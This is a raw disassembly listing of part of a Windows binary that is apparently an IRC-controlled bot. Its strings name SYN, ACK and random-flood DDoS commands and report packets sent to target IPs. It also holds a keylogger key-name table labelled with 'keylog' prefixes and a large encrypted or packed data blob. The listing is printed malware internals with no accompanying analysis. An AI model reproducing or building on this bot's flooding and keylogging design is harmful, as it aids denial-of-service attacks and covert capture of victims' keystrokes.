		align 4
dword_41FC18	dd 0FFFFFFFFh, 41DA8Ch,	41DA90h, 0FFFFFFFFh, 41DAFBh, 41DAFFh
					; DATA XREF: sub_41D8D5+5o
		dd 41FD38h
off_41FC34	dd offset loc_41E038	; DATA XREF: sub_41DE40+4Do
					; sub_41E054+Co
		dd offset sub_41DEFE
		dd offset sub_41E01B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41DE40+1Eo
		dd offset dword_41FD70
off_41FC54	dd offset loc_41DF65	; DATA XREF: sub_41DE9A+4Eo
					; sub_41DF28+11o ...
		dd offset sub_41DEFE
		dd offset sub_41DF0B
		dd offset dword_41FDC0
off_41FC64	dd offset loc_41E120	; DATA XREF: sub_41E06C+4Do
					; sub_41E13C+Co
		dd offset sub_41DEFE
		dd offset sub_41E103
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41E06C+1Eo
		dd offset dword_41FDF0
off_41FC8C	dd offset sub_41E1A2	; DATA XREF: sub_41E1BE+8o
					; sub_41E1FB+8o ...
		dd offset sub_41E25B
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_41E25B+7o
		align 4
		dd offset dword_41FE38
off_41FCAC	dd offset loc_41E27D	; DATA XREF: sub_41E268o
					; seg002:off_42DE80o ...
dword_41FCB0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41FCD0	dd offset off_42DE80	; DATA XREF: seg001:0041FD20o
					; seg001:0041FD54o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41FCE8	dd offset off_42DE98	; DATA XREF: seg001:0041FD1Co
					; seg001:0041FD50o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_41FD00	dd offset off_42DEB8	; DATA XREF: seg001:0041FD18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FD00
		dd offset off_41FCE8
		dd offset off_41FCD0
		dd 0
		db    0			; DATA XREF: seg001:0041FD48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41FD18h, 3 dup(0)
		dd offset off_42DEB8
		dd offset unk_41FD28
		align 10h
		dd offset off_41FCE8
		dd offset off_41FCD0
dword_41FD58	dd 4 dup(0)			dd 2, 41FD50h
dword_41FD70	dd 3 dup(0)			dd offset off_42DE98
		dd offset dword_41FD58+8
		align 8
off_41FD88	dd offset off_42DED8	; DATA XREF: seg001:0041FDA0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FD88
		dd offset off_41FCE8
		dd offset off_41FCD0
dword_41FDAC	dd 3 dup(0)			dd 3, 41FDA0h
dword_41FDC0	dd 3 dup(0)			dd offset off_42DED8
		dd offset dword_41FDAC+4
		dd offset off_41FCD0
dword_41FDD8	dd 4 dup(0)			dd 1, 41FDD4h
dword_41FDF0	dd 3 dup(0)			dd offset off_42DE80
		dd offset dword_41FDD8+8
		align 8
off_41FE08	dd offset off_42DEF8	; DATA XREF: seg001:0041FE20o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FE08
		dd 0
		db    0			; DATA XREF: seg001:0041FE48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41FE20h
dword_41FE38	dd 3 dup(0)			dd offset off_42DEF8
		dd offset unk_41FE28
		align 10h
dword_41FE50	dd 19930520h, 2, 41FE70h, 5 dup(0)		dd 0FFFFFFFFh, 41E2DCh,	0
		dd offset sub_41E2D4
dword_41FE80	dd 19930520h, 2, 41FEA0h, 5 dup(0)		dd 0FFFFFFFFh, 41E300h,	0
		dd offset loc_41E308
dword_41FEB0	dd 19930520h, 2, 41FED0h, 1, 41FEE0h, 3	dup(0)
					; DATA XREF: seg000:loc_41E31Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41FEF8h, 4	dup(0)
		dd offset loc_4037E1
		dd 0
		dd offset off_42DE80
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41E1FBh, 2 dup(0)
		dd offset off_42DE98
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41DF81h, 2 dup(0)
		dd offset off_42DEB8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E054h, 0
dword_41FF68	dd 3, 41FF48h, 41FF28h,	41FF08hdword_41FF78	dd 0							; sub_41E01B+12o
		dd offset sub_41DFDE
		dd 0
		dd offset dword_41FF68
dword_41FF88	dd 19930520h, 1, 41FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 41E328h
dword_41FFB0	dd 19930520h, 1, 41FFD0h, 5 dup(0)dword_41FFD0	dd 0FFFFFFFFh, 41E33Ch,	2, 41FF28h, 41FF08h, 0dword_41FFE8	dd 0				dd offset sub_41DF28
		dd 0
		dd offset dword_41FFD0+8
dword_41FFF8	dd 19930520h, 1, 420018h, 5 dup(0)		dd 0FFFFFFFFh, 41E350h
dword_420020	dd 19930520h, 1, 420040h, 5 dup(0)		dd 0FFFFFFFFh, 41E364h
dword_420048	dd 19930520h, 1, 420068h, 5 dup(0)		dd 0FFFFFFFFh, 41E378h,	0
		dd offset off_42DED8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E13Ch, 0
dword_420090	dd 3, 420070h, 41FF28h,	41FF08hdword_4200A0	dd 0							; sub_41E103+12o
		dd offset sub_41E0C6
		dd 0
		dd offset dword_420090
dword_4200B0	dd 19930520h, 1, 4200D0h, 5 dup(0)		dd 0FFFFFFFFh, 41E38Ch
dword_4200D8	dd 19930520h, 1, 4200F8h, 5 dup(0)		dd 0FFFFFFFFh, 41E3A0h,	202E4h,	2 dup(0)
		dd 20328h, 1F1A8h, 2013Ch, 2 dup(0)
		dd 20AA0h, 1F000h, 5 dup(0)
		dd 7DEC4752h, 2BF08C97h, 76CA8239h, 1009122Ch, 0E3690D57h
		dd 430BB3C0h, 0BC324D8Ch, 973288FDh, 24DF92Bh, 6274BA8Dh
		dd 340AF909h, 2594F962h, 78D4789Bh, 0F348A27Eh,	12631CC7h
		dd 6D409407h, 4A3A44BAh, 2A81D25Eh, 5CC1B7CCh, 8838E22Eh
		dd 6AF6692Dh, 7C75A50Bh, 5F423B68h, 3AFC509h, 0B51FAC11h
		dd 0CDF40259h, 27E423DCh, 8CD64733h, 0D8685A27h, 0CD64D58h
		dd 0C741E963h, 6DEC68DAh, 0D40EEC10h, 0BD89D26Eh, 74244540h
		dd 5118878Bh, 10C99D07h, 2CE789h, 475C9003h, 89FEC61Dh
		dd 3ED053D2h, 0B995284Fh, 8BC130AEh, 8DEF5669h,	0A11CC6E2h
		dd 0C5A6E11Ah, 0F32AD082h, 0B457F41Bh, 206E4421h, 0CF9E420Ch
		dd 0DB10A492h, 0C79C9E43h, 13AC6299h, 6B9766D2h, 0F7F7DC29h
		dd 0F667CC96h, 0CB276976h, 87EF5CB9h, 54804B99h, 415D2F5h
		dd 0BC29A78Ah, 85020A45h, 101D0BB6h, 84BBEDEFh,	22F34873h
		dd 0FDF2D295h, 2FC25F7Bh, 63AF9785h, 0A324C0FBh, 84BCBADBh
		dd 347CA9C5h, 4BD5F5AFh, 0CB03B2C7h, 0D0C357F3h, 0A0AD7F95h
		dd 0AB57F40Eh, 84A20A4Fh, 40D12577h, 26584EA9h,	9C215186h
		dd 21057C65h, 6591804Dh, 0D39FC110h, 0CA56219Ch, 5B4425EFh
		dd 0F1E145D7h, 0A5AF4C2Ah, 5A0053C1h, 8B8D854Bh, 0DBB0A703h
		dd 0C7C01F34h, 0E771778Eh, 6EA53399h, 0CF50CA88h, 7AC43BF3h
		dd 0B2656693h, 0E8CA3369h, 4D8172F4h, 0E2BD0905h, 24E58580h
		dd 587D6EBAh, 66FA223Ch, 4EEB4352h, 67A8EA3Ch, 7B98D66Dh
		dd 0
		dd 0FC0FA547h, 62ED4144h, 0E759727Bh, 0F9E45481h, 0E3BCB043h
		dd 7653EC37h, 438B761Eh, 0BEE791C7h, 0CC60B9CFh, 73DBE84Bh
		dd 0BE836ECBh, 1A5D4044h, 9DE2E2ABh, 17914E61h,	0D39677BEh
		dd 70215850h, 0
		dd 2834F824h, 44352D6Ah, 0A74Dh, 903007Eh, 5F3C292Dh, 1937276Fh
		dd 16D0000h, 7B219998h,	0AB6D79CBh, 25DE8F77h, 2060000h
		dd 39F1200Dh, 0DFF1A482h, 0C3A46DD2h, 30288E2h,	10F01738h
		dd 2C58CEh, 0AD3D0207h,	0A48F6218h, 0E25AB031h,	0E6DC475Fh
		dd 97CA9741h, 11D803D4h, 0C5FE91h, 205A0159h, 0ED5A7C3Ch
		dd 22E5C8E4h, 7469412Dh, 1F05C6B1h, 11B001Ah, 2A95B76Dh
		dd 367BC12Fh, 0C3D04170h, 2960000h, 0AC92413Ch,	124004Ah
		dd 0A5AEC6Ah, 0F20BA334h, 0D643C55Ch, 23E2CF0Ah, 5068h
		dd 0EA20016Eh, 9ADA868Dh, 6561D2C9h, 0A07945A7h, 0FB0000h
		dd 523B9CDEh, 38437557h, 9C61E48Ch, 675h, 2644011Ah, 5D6572Bh
		dd 9636F423h, 0ACC7h, 0FD28004Ah, 57BD852Ch, 5535D6F1h
		dd 0AA9Eh, 0DD0F001Bh, 0CF10725Bh, 18DB84A7h, 11200D1h
		dd 4196C95Ch, 0A7D912CCh, 8EAC09h, 30930034h, 7C2F6F82h
		dd 0E8C80CA0h, 10D00A4h, 9D7A93CAh, 0CB4AA6A6h,	1739CE41h
		dd 0D0023FB7h, 0C8A0h, 3DDA0090h, 0D95A70CDh, 84F417h
		dd 0C387008Ah, 755904E7h, 0E1E29EE8h, 0BD8D7E5Bh, 6A7CF2AAh
		dd 5CF4h, 23D40089h, 4CC3A2C4h,	0C8B7746Dh, 95061942h
		dd 0DEA31F4Ah, 551CC83Ah, 9D0022h, 11F4FBC9h, 518B4626h
		dd 0E78D87C6h, 94008Eh,	5210B4F7h, 0E03B453Eh, 139A048Ah
		dd 147Ah, 3A510218h, 0F8C40CF0h, 79Ch, 0BBC6026Ah, 0A7D556EFh
		dd 28188521h, 0DC7CBB50h, 1C10000h, 0F0AF94A5h,	36B1031Dh
		dd 0AA684924h, 0B816A520h, 5B9DE14Bh, 660000h, 0BC713B23h
		dd 38EA71AEh, 0A5C6DE70h, 9CF06E2h, 2CF29643h, 1AB0000h
		dd 0FEB89306h, 2328B1BFh, 3E275014h, 7D5A0710h,	25144668h
		dd 9A2EA344h, 4DD29A18h, 753F72F0h, 0C8B664CCh,	5500D8h
		dd 0A50EB445h, 0D243AEA8h, 0FE53A818h, 0D478A50Bh, 7D51124h
		dd 1C200EDh, 0B535D5CFh, 0E092DCC4h, 1763997Fh,	13E0000h
		dd 0AE6DE8CBh, 0B28E2770h, 0C8DEF0FCh, 0AF88h, 942B0126h
		dd 9DD6599Ch, 0E0372840h, 37BCC215h, 9230h, 3F2F00AFh
		dd 26A4AEFh, 5B288E2Ch,	4A24C78Eh, 1930000h, 0E004C85h
		dd 337D7C46h, 35591839h, 18C0000h, 38C9BCB3h, 11B3DD8Ah
		dd 1612h, 71A902B0h, 17E2A7D6h,	0CFF7F71Ah, 0B7FCEDDh
		dd 1D600A1h, 494FC2B9h,	994E28CFh, 0E2DA3423h, 350035h
		dd 3915AAA4h, 69AD4A88h, 74F5185Dh, 11DB2D6Ah, 6D79h, 5DC0026Ch
		dd 6293B083h, 7FE90194h, 114001Bh, 438B4CD2h, 0E413CC9Dh
		dd 485E20h, 0F91D0044h,	8101CB25h, 9989DC13h, 4811C3EEh
		dd 800000h, 0BF446C94h,	4B922DA1h, 58D29290h, 8ABEBFEBh
		dd 934FDC5h, 0ABBD20CEh, 2680061h, 900D9DCFh, 0C35AA8F8h
		dd 8AAF0DD6h, 65CE63B0h, 0CA88h, 0ABAA02DFh, 907EC514h
		dd 0B4F964h, 0A86E0165h, 68C1FE7Dh, 0BF28AD4Bh,	111Ch
		dd 8F74010Bh, 19176DB6h, 7573618Ah, 642BC640h, 0FC8E5E20h
		dd 1F90000h, 9199CD9Eh,	2BD69BB9h, 21474377h, 6300A0h
		dd 4E1B61C5h, 1B43E05Ah, 5A424679h, 15C051h, 0F300F7h
		dd 97A1B13Bh, 48106D57h, 0C4C54DA4h, 0ECC2D8h, 0BA5C0043h
		dd 79C29DE5h, 0A0E6A52Ch, 1750000h, 0EEBDE008h,	792E8B8Ch
		dd 1EE06122h, 18D00C8h,	0EDEEC629h, 5126F87h, 0F99B12EEh
		dd 0CD889553h, 95E7h, 3D6D007Dh, 0F343DFF8h, 4A43A76Eh
		dd 5700C2h, 0D079D574h,	0E76B1622h, 0FA3999h, 31B901EFh
		dd 235FF1C7h, 9949E418h, 0F8006Fh, 0D83C5B62h, 0C0B175EEh
		dd 0DD236FDBh, 3691FD27h, 0F176EFh, 95900028h, 0EBAFD46Ch
		dd 0C546DFh, 0E5AA02CEh, 9235DF75h, 150DED1Eh, 67FB2A87h
		dd 0F1A38E61h, 3F00DBh,	592A633Bh, 14CFAC45h, 7B494A7h
		dd 29F0000h, 0C6AA5667h, 0C9AA1FC4h, 0DE1A836h,	0E83629h
		dd 585201DDh, 42F5574Ah, 0A95DAEh, 0A96802D2h, 0B4A3E420h
		dd 0A9B28C91h, 5F07DFA0h, 7F50E751h, 1E400B9h, 0E7BD16B7h
		dd 65E03F48h, 52551798h, 0C6BE9EF2h, 0E54909h, 0C14F00CEh
		dd 0BC4499BEh, 0A2F6527h, 7CE1F863h, 0F101h, 0E85A029Eh
		dd 0FBB38B80h, 2847FE60h, 0A687DFD5h, 0C1A0h, 0A59E011Ch
		dd 377461C0h, 787825F6h, 0EF947E30h, 1200000h, 0AF81CDD1h
		dd 3446A8DAh, 5C4B7D99h, 5072E1CEh, 1990000h, 0F549B0BFh
		dd 0D4FDD344h, 19F00A2h, 758B5415h, 9FFDB0B2h, 22F0000h
		dd 6C93D01Eh, 8C38445Eh, 170004Ah, 0A83251AEh, 0CC5952Dh
		dd 2459D737h, 0F37537BCh, 0C379C19Dh, 0BFCAh, 0F75C015Dh
		dd 0B756903Fh, 6510EC98h, 0B73458h, 5DCC01A2h, 0DC7375C6h
		dd 8ED9C544h, 15000DDh,	0AD6C152Ch, 3DD44A88h, 0A77E3C97h
		dd 7B6602h, 727300CAh, 3EE06576h, 59D289B6h, 2B9270B8h
		dd 174006Ah, 25EB4B58h,	589F7A28h, 605Ah, 0D56A019Dh, 2B5273D2h
		dd 397DBC16h, 19B0065h,	0D6E23AD6h, 11D0931Ch, 49E6h, 310D02BFh
		dd 0B290CB1h, 0A1EEF422h, 2BB00E4h, 0A99B1A94h,	913D2A32h
		dd 0BAB9F76Eh, 1B80000h, 0B4F8D775h, 25696A09h,	0ED19E979h
		dd 20B00A6h, 0C1966278h, 0B4343965h, 9E06B670h,	0E50Dh
		dd 3B0701A3h, 3E1933A5h, 0AC8Eh, 2D4901BFh, 0B6C8635Ch
		dd 0D3962052h, 5F4Bh, 6E0701C0h, 9332EE05h, 2AE25EB6h
		dd 0DD41h, 121700BFh, 61B744A7h, 3A198Dh, 48C100B9h, 0AF695F8Dh
		dd 1310000h, 65CE74DDh,	31AC5CCh, 2AD0000h, 0D7CE15A0h
		dd 0AF3E3BDCh, 0EDFA4B64h, 52CD63A7h, 0F7712F54h, 1646620Fh
		dd 0B20000h, 0A2FDC39h,	3FF8255Ch, 0E93C9A55h, 59FBF35Dh
		dd 0B2F84FFDh, 219F94h,	0EB5700B3h, 8F65EABDh, 51FD4112h
		dd 0DE8845CDh, 1764E893h, 5CD0F65Ch, 10600D2h, 438E71B8h
		dd 3B6F549Ch, 418A2E10h, 0BB2F9DC6h, 658E11D5h,	1080092h
		dd 0D7A2990Bh, 0E383516Eh, 62DD0274h, 0BB19752Ah, 9768392Ah
		dd 0C5DAh, 0BFF4026Dh, 5F7470B7h, 0B8DA09Ah, 0CB53F991h
		dd 1520000h, 0BB0C63E6h, 35985CE6h, 0F881932Dh,	1150000h
		dd 899CDF33h, 5C5D0E75h, 3D85D3h, 0F89E0153h, 0A9E3A443h
		dd 5D12D977h, 525E7183h, 1560000h, 680BBE66h, 1BEB4F12h
		dd 4D8B8433h, 0BA52h, 41B027Ch,	6D27DC2Eh, 0C0FA614Eh
		dd 7C09h, 731000AAh, 0ABBE9AA8h, 0D6FC8034h, 225B74BDh
		dd 0AFBDh, 0ABEF028Bh, 5BF3DC23h, 9CEFCB4Bh, 6DD64C10h
		dd 6429C55Fh, 7B824372h, 81BC6A4Eh, 1B500C4h, 1DC038FBh
		dd 0C1BFE1C7h, 0EDF9EE93h, 1B20000h, 7140B7F0h,	0E3F7AB4h
		dd 0F3D3A2A1h, 2610000h, 43D8F77Bh, 6703A0CDh, 0EB4988EEh
		dd 210000h, 0B091D1AAh,	0EB1BA06h, 1D5CB3EFh, 8566h, 4F260022h
		dd 2E81B95Dh, 0F157DE67h, 22E7731Ch, 2620000h, 0B5222294h
		dd 1AF8D3F9h, 0EF24E849h, 0E74635E1h, 112DE76Eh, 819B63h
		dd 6041F72Fh, 26F6A6A2h, 0EFC9D670h, 155h dup(0)
seg001		ends

; Section 3. (virtual address 00021000)
; Virtual size			: 0003F000 ( 258048.)
; Section size in file		: 0003F000 ( 258048.)
; Offset to raw	data for section: 00021000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 421000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_421000	dd 0				dd offset sub_40388F
		dd offset sub_41E154
dword_42100C	dd 0		dword_421010	dd 0				dd offset sub_4148E2
		dd offset sub_41A414
		dd offset sub_41B166
		dd offset sub_41BFD8
dword_421024	dd 0		dword_421028	dd 0				dd offset sub_41B20B
dword_421030	dd 0		dword_421034	dd 0				dd offset sub_41BFE9
dword_42103C	dd 0		unk_421040	db    2			; DATA XREF: start+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42107C	db    2			; DATA XREF: seg000:004013B4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:004011A3o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_4211D0	db    2			; DATA XREF: seg000:00401509o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42121C	db    2			; DATA XREF: seg000:00401490o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_421264	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
		dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4212D0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:004020C1o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_421334	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00402025o
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: seg000:00401EE8o
					; seg000:0040DE83o
		align 10h
aAck		db 'ack',0              ; DATA XREF: seg000:00401EC8o
					; seg000:0040DE6Co
aSyn		db 'syn',0              ; DATA XREF: seg000:00401EA8o
					; seg000:0040DE54o
dword_4213A8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401D35o
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4213DC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401CC4o
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_421428	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401C46o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4021FB:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_421BA4	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_421BDC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: seg000:004021C8o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
